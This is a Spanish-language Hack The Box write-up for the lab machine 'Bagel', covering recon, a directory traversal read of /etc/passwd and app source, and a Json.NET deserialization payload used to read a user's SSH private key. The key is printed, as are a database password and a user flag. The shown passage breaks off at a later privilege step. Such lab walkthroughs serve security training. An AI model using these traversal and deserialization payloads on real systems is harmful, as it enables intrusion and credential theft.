This page looks best with JavaScript enabled

Hack The Box - Bagel

 •  ✍️ sckull

En Bagel explotamos una vulnerabilidad de Directory Traversal que nos permitio realizar la lectura del codigo fuente de la aplicacion web y de un DLL, en este ultimo explotamos una vulnerabilidad de Deserializacion que nos permitio acceder a la maquina. Finalmente escalamos privilegios por medio de dotnet.

Nombre Bagel box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.201
Maker

CestLaVie

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.2, 5.2, 5.1, 4.9, 4.8],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (8000), ssh (22) y 5000.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# Nmap 7.93 scan initiated Tue Mar 28 20:40:56 2023 as: nmap -p22,5000,8000 -sV -sC -oN nmap_scan 10.10.11.201
Nmap scan report for 10.10.11.201
Host is up (0.083s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey:
|   256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_  256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   Help:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Wed, 29 Mar 2023 00:41:36 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   Kerberos, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Wed, 29 Mar 2023 00:41:37 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   LPDString:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Wed, 29 Mar 2023 00:41:48 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Wed, 29 Mar 2023 00:41:06 GMT
|     Content-Length: 54
|     Connection: close
|     Keep-Alive: true
|_    <h1>Bad Request (Invalid request line (version).)</h1>
8000/tcp open  http-alt Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Wed, 29 Mar 2023 00:41:01 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Wed, 29 Mar 2023 00:40:56 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 263
|     Location: http://bagel.htb:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
|   Socks5:
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
[ ... ]

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 28 20:42:55 2023 -- 1 IP address (1 host up) scanned in 119.97 seconds

Web Site

El sitio web redirige al dominio bagel.htb, se observa que existe el parametro page con el valor index.html.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/bagel ❯ curl -sI 10.10.11.201:8000
HTTP/1.1 302 FOUND
Server: Werkzeug/2.2.2 Python/3.10.9
Date: Wed, 29 Mar 2023 00:43:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 263
Location: http://bagel.htb:8000/?page=index.html
Connection: close

 π ~/htb/bagel ❯

El sitio muestra una tienda de rosquillas.

image

Directory Brute Forcing

feroxbuster unicamente muestra una direccion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 π ~/htb/bagel ❯ feroxbuster -u http://bagel.htb:8000/ -w $MD --depth 2

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://bagel.htb:8000/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 2
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302      GET        5l       22w      263c http://bagel.htb:8000/ => http://bagel.htb:8000/?page=index.html
[####################] - 18m   220546/220546  0s      found:1       errors:1
[####################] - 18m   220546/220546  194/s   http://bagel.htb:8000/

Directory Traversal

Si realizamos una consulta utilizando ../../ en el valor del parametro page, logramos realizar la lectura de archivos locales.

1
2
3
4
 π ~/htb/bagel ❯ curl -s "http://bagel.htb:8000/?page=../../../../../../../../etc/passwd" | grep home
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
 π ~/htb/bagel ❯

Escribimos un pequeno script en python para enumerar los diferentes procesos de la maquina. Observamos el entorno y el comando que ejecuta la aplicacion web, la cual esta escrita en python, tambien el usuario, developer quien la ajecuta.

1
2
3
4
5
6
7
8
9
 π ~/htb/bagel ❯ pipenv run python enumerate_files.py --read /proc/self/environ
[*] File: /proc/self/environ

LANG=en_US.UTF-8\x00ATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin\x00OME=/home/developer\x00OGNAME=developer\x00SER=developer\x00HELL=/bin/bash\x00NVOCATION_ID=7fe1fdbf35eb48f6bd22af1831b7aedd\x00OURNAL_STREAM=8:25682\x00YSTEMD_EXEC_PID=893\x00
 π ~/htb/bagel ❯ pipenv run python enumerate_files.py --read /proc/self/cmdline
[*] File: /proc/self/cmdline

python3\x00home/developer/app/app.py\x00
 π ~/htb/bagel ❯

Destacamos los procesos de ejecucion del archivo app.py en el directorio /home/developer y dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
 π ~/htb/bagel ❯ pipenv run python enumerate_files.py --npid 3000
[-] Fetching information: current pid 860
    [+] pid: 1
    [+] command: /usr/lib/systemd/systemd\x00hgb\x00-switched-root\x00-system\x00-deserialize\x005\x00
    [+] pid: 758
    [+] command: 甯牳氯扩猯獹整摭猯獹整摭樭畯湲污d
    [+] pid: 771
    [+] command: /usr/lib/systemd/systemd-udevd\x00
    [+] pid: 853
    [+] command: 甯牳氯扩猯獹整摭猯獹整摭漭浯d
    [+] pid: 854
    [+] command: /sbin/auditd\x00
    [+] pid: 855
    [+] command: /sbin/auditd\x00
    [+] pid: 856
    [+] command: /usr/sbin/sedispatch\x00
    [+] pid: 857
    [+] command: /usr/local/sbin/laurel\x00-config\x00etc/laurel/config.toml\x00
    [+] pid: 858
    [+] command: /sbin/auditd\x00
    [+] pid: 860
    [+] command: 甯牳氯扩猯獹整摭猯獹整摭爭獥汯敶d
    [+] pid: 865
    [+] command: /usr/lib/systemd/systemd-userdbd\x00
    [+] pid: 888
    [+] command: /usr/sbin/NetworkManager\x00-no-daemon\x00
    [+] pid: 891
    [+] command: /usr/sbin/NetworkManager\x00-no-daemon\x00
    [+] pid: 893
    [+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
    [+] pid: 895
    [+] command: python3\x00home/developer/app/app.py\x00
    [+] pid: 896
    [+] command: /usr/sbin/irqbalance\x00-foreground\x00
    [+] pid: 897
    [+] command: /usr/sbin/mcelog\x00-daemon\x00-foreground\x00
    [+] pid: 898
    [+] command: /usr/lib/polkit-1/polkitd\x00-no-debug\x00
    [+] pid: 900
    [+] command: /usr/sbin/chronyd\x00F\x00\x00
    [+] pid: 901
    [+] command: /usr/sbin/irqbalance\x00-foreground\x00
    [+] pid: 905
    [+] command: /usr/sbin/rsyslogd\x00n\x00
    [+] pid: 907
    [+] command: /usr/sbin/rsyslogd\x00n\x00
    [+] pid: 908
    [+] command: /usr/sbin/rsyslogd\x00n\x00
    [+] pid: 909
    [+] command: 甯牳氯扩猯獹整摭猯獹整摭氭杯湩d
    [+] pid: 910
    [+] command: /usr/bin/VGAuthService\x00s\x00
    [+] pid: 911
    [+] command: /usr/bin/vmtoolsd\x00
    [+] pid: 912
    [+] command: /usr/sbin/abrtd\x00d\x00s\x00
    [+] pid: 914
    [+] command: /usr/lib/polkit-1/polkitd\x00-no-debug\x00
    [+] pid: 920
    [+] command: /usr/bin/dbus-broker-launch\x00-scope\x00ystem\x00-audit\x00
    [+] pid: 921
    [+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
    [+] pid: 922
    [+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
    [+] pid: 925
    [+] command: /usr/sbin/abrtd\x00d\x00s\x00
    [+] pid: 930
    [+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
    [+] pid: 931
    [+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
    [+] pid: 932
    [+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
    [+] pid: 933
    [+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
    [+] pid: 934
    [+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
    [+] pid: 935
    [+] command: /usr/bin/vmtoolsd\x00
    [+] pid: 936
    [+] command: /usr/bin/vmtoolsd\x00
    [+] pid: 937
    [+] command: dbus-broker\x00-log\x00\x00-controller\x00\x00-machine-id\x00e8a2667e5384602a9b46d6ad7614e92\x00-max-bytes\x0036870912\x00-max-fds\x00096\x00-max-matches\x0031072\x00-audit\x00
    [+] pid: 940
    [+] command: /usr/bin/vmtoolsd\x00
    [+] pid: 942
    [+] command: /usr/lib/polkit-1/polkitd\x00-no-debug\x00
    [+] pid: 943
    [+] command: /usr/sbin/NetworkManager\x00-no-daemon\x00
    [+] pid: 944
    [+] command: /usr/sbin/abrtd\x00d\x00s\x00
    [+] pid: 946
    [+] command: /usr/lib/polkit-1/polkitd\x00-no-debug\x00
    [+] pid: 947
    [+] command: /usr/lib/polkit-1/polkitd\x00-no-debug\x00
    [+] pid: 963
    [+] command: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups\x00
    [+] pid: 964
    [+] command: /usr/sbin/gssproxy\x00D\x00
    [+] pid: 965
    [+] command: /usr/sbin/gssproxy\x00D\x00
    [+] pid: 966
    [+] command: /usr/sbin/gssproxy\x00D\x00
    [+] pid: 967
    [+] command: /usr/sbin/gssproxy\x00D\x00
    [+] pid: 968
    [+] command: /usr/sbin/gssproxy\x00D\x00
    [+] pid: 969
    [+] command: /usr/sbin/gssproxy\x00D\x00
    [+] pid: 995
    [+] command: /usr/lib/polkit-1/polkitd\x00-no-debug\x00
    [+] pid: 1010
    [+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
    [+] pid: 1013
    [+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
    [+] pid: 1015
    [+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
    [+] pid: 1018
    [+] command: /usr/sbin/ModemManager\x00
    [+] pid: 1019
    [+] command: /usr/bin/abrt-dump-journal-core\x00D\x00T\x00f\x00e\x00
    [+] pid: 1020
    [+] command: /usr/bin/abrt-dump-journal-oops\x00fxtD\x00
    [+] pid: 1021
    [+] command: /usr/bin/abrt-dump-journal-xorg\x00fxtD\x00
    [+] pid: 1024
    [+] command: /usr/sbin/ModemManager\x00
    [+] pid: 1025
    [+] command: /usr/sbin/ModemManager\x00
    [+] pid: 1028
    [+] command: /usr/sbin/ModemManager\x00
    [+] pid: 1050
    [+] command: /usr/sbin/atd\x00f\x00
    [+] pid: 1052
    [+] command: /usr/sbin/crond\x00n\x00
    [+] pid: 1066
    [+] command: /sbin/agetty\x00o\x00p -- \u\x00-noclear\x00\x00inux\x00
 π ~/htb/bagel ❯

WebApp - Source Code

Obtuvimos el codigo fuente de la aplicacion, observamos que se realiza una conexion de tipo websocket al puerto 5000. Ademas se muestra en un comentario que debe de estar en ejecucion el archivo .dll.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# http://bagel.htb:8000/?page=../../../../../../../..//home/developer/app/app.py
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

Al realizar una solicitud a la ruta /orders, se muestra informacion de ordenes.

1
2
3
4
5
 π /opt/bagel/orders ❯ curl -s http://bagel.htb:8000/orders
order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]
order #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]
order #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels]
 π /opt/bagel/orders ❯

Bagel.dll

Obtuvimos el archivo bagel.dll para analizarlo localmente utilizando dnSpy e ILSpy, ya que ambos muestran de forma diferente el codigo.

image

Encontramos una conexion de base de datos con las credenciales de acceso.

1
2
3
4
5
public void DB_connection()
{
    string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
    SqlConnection sqlConnection = new SqlConnection(text);
}

Observamos el directorio donde se encuentra el archivo de ordenes.

1
2
3
4
private string directory = "/opt/bagel/orders/";

// Token: 0x04000010 RID: 16
private string filename = "orders.txt";

Si realizamos la lectura de este archivo es el mismo contenido que se muestra en /orders.

1
2
3
4
5
6
7
8
9
 π ~/htb/bagel ❯ pipenv run python enumerate_files.py --read /opt/bagel/orders/orders.txt
[*] File: /opt/bagel/orders/orders.txt

order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]
order #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]
order #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels]


 π ~/htb/bagel ❯

En la clase Handler encontramos que posiblemente exista alguna vulnerabilidad de tipo deserializacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using bagel_server;
using Newtonsoft.Json;

public class Handler
{
    public object Serialize(object obj)
    {
        //IL_0003: Unknown result type (might be due to invalid IL or missing references)
        //IL_0008: Unknown result type (might be due to invalid IL or missing references)
        //IL_0015: Expected O, but got Unknown
        return JsonConvert.SerializeObject(obj, (Formatting)1, new JsonSerializerSettings
        {
            TypeNameHandling = (TypeNameHandling)4
        });
    }

    public object Deserialize(string json)
    {
        //IL_0003: Unknown result type (might be due to invalid IL or missing references)
        //IL_0008: Unknown result type (might be due to invalid IL or missing references)
        //IL_0015: Expected O, but got Unknown
        try
        {
            return JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings
            {
                TypeNameHandling = (TypeNameHandling)4
            });
        }
        catch
        {
            return "{\"Message\":\"unknown\"}";
        }
    }
}

Json.NET Deserialization

El post How to configure Json.NET to create a vulnerable web API muestra como crear y explotar una API vulnerable que utiliza Json.NET, asi tambien, el post Exploiting JSON serialization in .NET core muestra codigo vulnerable y como explotarlo. La configuracion de Json.NET debe de tener una de las configuraciones de TypeNameHandling vulnerables, si observamos el codigo fuente de la aplicacion, tiene la opcion “Auto” (4) la cual esta definida como vulnerable.

1
2
3
4
5
6
7
8
9

[ ... ]

return JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings
            {
                TypeNameHandling = (TypeNameHandling)4
            });

[ ... ]

Ademas, nuestro objeto JSON sea deserializado a un tipo “object” generico. En este caso tenemos RemoveOrder, por medio del cual podemos decirle que tipo de objeto queremos deserializar, tal y como se explica en el post (1).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public class Orders
{
    
    [ .. ]

    public object RemoveOrder { get; set; }

    [ .. ]

}

En el post hacen uso de la clase FileInfo del namespace System.IO del bloque assembly System.IO.FileSystem (def) para hacer un archivo de solo lectura, FileInfo necesita el parametro fileName el cual se especifica como rce-test.txt, asi mismo agrega el valor IsReadOnly a true.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
    "obj": {
        "$type": "System.IO.FileInfo, System.IO.FileSystem",
        "fileName": "rce-test.txt",
        "IsReadOnly": true
    }
}

# "$type": "<namespace>.<class>, <assembly>",
# "<propiedad o metodo>": "<valor>"
# "<propiedad o metodo>": "<valor>"

Para nuestro caso debemos de buscar alguna clase y/o metodo para ejecutar codigo, comandos o realizar la lectura de archivos. Por suerte tenemos la clase File y el metodo ReadFile, el cual podemos utilizar para leer archivos locales.

Siguiendo la estructura JSON anterior crafteamos el nuestro para la lectura de archivos.

1
2
3
4
5
6
7
{
    "RemoveOrder": {
            "$type": "bagel_server.File, bagel",
            "ReadFile": "../../../../../../etc/passwd"
    }
        
}

Creamos un script para enviar nuestro payload y obtener el resultado.

Tras ejecutar el script logramos la lectura de /etc/passwd. Asi mismo observamos que el archivo bagel.dll esta siendo ejecutado por phil.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 π ~/htb/bagel ❯ pipenv run python websocket_bagel.py
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony:x:994:992::/var/lib/chrony:/sbin/nologin
dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
_laurel:x:987:987::/var/log/laurel:/bin/false
 π ~/htb/bagel ❯ pipenv run python websocket_bagel.py
LANG=en_US.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/binHOME=/home/philLOGNAME=philUSER=philSHELL=/bin/bashINVOCATION_ID=ad10d171f7e040eab6c6711fba6694d6JOURNAL_STREAM=8:24748SYSTEMD_EXEC_PID=892
 π ~/htb/bagel ❯

User - Phil

Realizamos la lectura de la clave privada SSH de phil.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 π ~/htb/bagel ❯ pipenv run python websocket_bagel.py
-----BEGIN OPENSSH PRIVATE KEY-----
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
nrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=
-----END OPENSSH PRIVATE KEY-----
 π ~/htb/bagel ❯

Con ello logramos acceder por SSH y obtener nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/bagel ❯ ssh -i phil_id_rsa phil@bagel.htb
Last login: Tue Feb 14 11:47:33 2023 from 10.10.14.19
[phil@bagel ~]$ whoami;id;pwd
phil
uid=1001(phil) gid=1001(phil) groups=1001(phil) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
/home/phil
[phil@bagel ~]$ ls
user.txt
[phil@bagel ~]$ cat user.txt
1e3253f3817c4646958afb4cec88ae07
[phil@bagel ~]$

User - Developer

Intentamos utilizar la contrasena encontrada anteriormente en la conexion de base de datos con el usuario developer, la cual funciono.

1
2
3
4
5
6
7
